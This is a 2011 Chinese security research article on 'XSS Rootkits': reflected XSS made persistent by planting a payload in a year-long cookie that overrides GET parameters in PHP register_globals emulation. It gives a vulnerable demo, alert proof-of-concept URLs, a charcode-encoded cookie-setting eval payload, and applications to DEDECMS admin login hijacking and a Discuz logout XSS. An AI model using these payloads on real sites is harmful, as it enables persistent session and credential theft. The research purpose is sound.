顶80SEC的牛。
深掘XSS漏洞场景之XSS Rootkit[完整修订版]
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-10-15
0×00 前言
众所周知XSS漏洞的风险定义一直比较模糊，XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。XSS漏洞类型主要分为持久型和非持久型两种：
1. 非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。
2. 持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客使用的XSS内容经正常功能进入数据库持久保存。
3. DOM XSS漏洞，也分为持久和非持久型两种，多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。
4. FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞，同样按应用功能也分为持久和非持久型。
一般持久型XSS漏洞比非持久型XSS漏洞风险等级高，从漏洞的本质上来说这是没错的，但漏洞的利用仍然需要看场景，有时候更深入的看待场景能够挖掘出意想不到的东西，大家接着往下看。
0×01 漏洞场景解析
首先我给出一段PHP分页的XSS漏洞的简单代码：
demo.php
————————————————————-
|
1
2
3
4
5
6
7
|
＜?phpforeach(Array(‘_GET’,'_POST’,'_cookie’) as $_request){ foreach($$_request as $_k => $_v) ${$_k} = $_v;}?>＜a href=”＜? echo $_SERVER["PHP_SELF"]; ?>?i=＜? echo $id;?>”>分页＜/a> |
———————————————————————
这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。
下面是这个XSS漏洞的验证方法：
http://127.0.0.1/demo.php?id=1″>＜script>alert(1)＜/script>
GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容：
＜a href=”/demo.php?id=1″>＜script>alert(1)＜/script>”>分页＜/a>
这是一个典型的非持久型XSS漏洞，在常规的思维逻辑下，这个漏洞到这里基本就打止了，本文也马上要变为普通的科普文了，然而事实并没有那么简单，这个漏洞场景再深入挖掘，就牵出了本文的重头戏。
0×02 XSS Rootkit实现方法
我们知道操作系统有Rootkit这样的内核后门，Rootkit最大的特性之一就是隐蔽，普通的安全软件无法检测出系统中运作着Rootkit，以保证Rootkit后门能长久存活于系统中，而Web程序的漏洞很难达到这一效果，而我发现某些特定场景的XSS漏洞能够达到这一效果。
现今流行的PHP Web程序的都喜欢自己模拟register_globals（全局变量注册）这一特性，通过GET、POST、cookie等方法注册变量（本文下面的内容都简称GPC），通过GPC直接注册变量方便整个程序的运作，而本文的重点即是围绕这一点来展开的。
第一部分的我模拟的XSS漏洞即是一个典型的全局变量注册的场景，demo.php不仅可以GET传参，还能接受cookie传参，变量注册顺序是GPC，由于注册变量的流程是一个foreach循环，所以通过GP注册变量最后能被C覆盖，而cookie是客户端浏览器的持久化数据，如果通过XSS漏洞设置cookie，我们完全可以把这个典型的非持久型XSS漏洞变成持久的，说到这里大家一定感觉非常兴奋了，我就来实际测试一下：
先写出一段设置cookie的javascript代码
Persistence_data=’”>＜script>alert(/xss/)＜/script>’;
var date=new Date();
var expireDays=365; //设置cookie一年后失效
date.setTime(date.getTime()+expireDays*24*3600*1000);
document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //设置cookie的id参数值为XSS代码
把设置cookie的javascript代码编码一次，放入XSS URL中，这样防止魔术引号和不同浏览器编码的未知情况影响我们的测试，关闭IE8/9等XSS筛选器后，我们访问下面的URL让XSS生效。
http://127.0.0.1/demo.php?id=1″>＜script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,
34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,
115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,
100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,
114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,
97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,
116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,
52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,
116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,
115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,
115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))＜/script>
结果令人非常满意，当我们关闭浏览器乃至关闭重启电脑后，再重新访问下面的网页：
无论是访问http://127.0.0.1/demo.php
还是访问http://127.0.0.1/demo.php?id=1
我们的XSS代码都会生效，同时如果客户端未清理cookie，这个XSS漏洞将有效一年的时间，达到了Rootkit隐蔽和能够持久存活的效果。
0×03 XSS Rootkit实战
DEDECMS后台登陆主页的模板中有个gotopage变量存在XSS漏洞，代码如下：
dede empletslogin.htm
65行左右
＜input type=”hidden” name=”gotopage” value=”＜?php if(!empty($gotopage)) echo $gotopage;?>” />
DEDECMS核心代码中，模拟全局变量注册机制的顺序是GPC，也就是C能够覆盖GP所注册的变量。
我们再套用0X02的代码测试，可以在cookie中持久化保存gotopage变量，如果管理员触发过我们的XSS漏洞，我们就能在管理员的cookie中持久化保存gotopage变量，将gotopage隐藏表单值变为我们的任意脚本内容，以后管理员只要是访问后台页面都会触发XSS漏洞，我们完全可以劫持管理员的整个登陆过程，悄无声息的直接获取管理员的密码。
当然DEDECMS这个漏洞的如何灵活运用更取决于黑客的发散思维，比如IE8/9等会拦截URL XSS，我们可以利用一个持久型的XSS或DOM XSS做为这类XSS Rootkit漏洞的payload,另外cookie的设置不限于同源策略,在任意子域名设置的cookie，可以让整个域名的应用都接受这个cookie,黑客可以脱离于DEDECMS程序本身的限制,在整个网站架构上的薄弱点攻击DEDECMS的后台。
0×04 深入XSS Rootkit场景
在PHP全局变量注册机制的场景下，调整GPC的注册变量的顺序可以减弱XSS Rootkit攻击效果，如discuz程序：
|
1
2
3
4
5
6
7
|
foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != ‘_’ && $$_key = daddslashes($_value); }} |
注册变量的顺序是CPG，我们的C始终都不能覆盖GP所注册过的变量，不过程序的某个流程导致变量未初始化，还是能产生XSS Rootkit效果，如
http://xx.163.com/logging.php?action=logout&referer=javascript:alert()&formhash=rootkit
在DISCUZ程序的退出代码存在一个XSS漏洞，在用户没有登陆的情况下，退出代码中的referer变量没有初始化，导致我们能任意控制这个变量。
在这个情况下我们不用担心CPG的注册顺序问题，但我们需要构造特定的URL，造成变量未初始化的情况才能触发XSS漏洞，这样XSS Rootkit攻击效果就大打折扣了，用户在登陆后的正常退出操作是不能触发我们的XSS漏洞的，已脱离了XSS Rookit的优势。
另外一个场景是滥用request类变量的情况，在不同脚本和服务器环境中request类变量的效果可能不同，如在我之前的《浅谈绕过WAF的数种方法》提到了asp/asp .net等request类变量有复参特性，所以gpc的内容都能同时进入注册变量，也可能会产生XSS Rootkit漏洞的情况。
最后还有一类特殊的DOM XSS情况，80sec的成员疯狗在几年前发现过，某大型网站的主页读取COOKIE中的用户ID在网页中显示并没有进行HTML编码，导致一个XSS漏洞即可在主页中安装XSS Rookit。
当然还有更多的场景，在剑心的《web应用程序中的rootkit》也都有提过，XSS Rootkit的场景我就解读到这里了，更多的场景就留给大家思维发散了。
0×05 后话
至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变，再一次揭示了漏洞的场景有多么重要，深掘漏洞场景完成一次本质的升华是多么美妙的事情。
程序员需要重视程序安全的每一个细节，任何一个不起眼的漏洞都可能会造成意想不到的危害。
一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞，普遍存在争议的情况，可以根据本文做参考，对场景再深入挖掘来定义风险，那么本文最重要的目的也就达到了。
0×06 参考
跨站脚本漏洞导致的浏览器劫持攻击 http://www.80sec.com/browser-hijacking.html
web应用程序中的rootkit http://www.80sec.com/webapp-rootki.html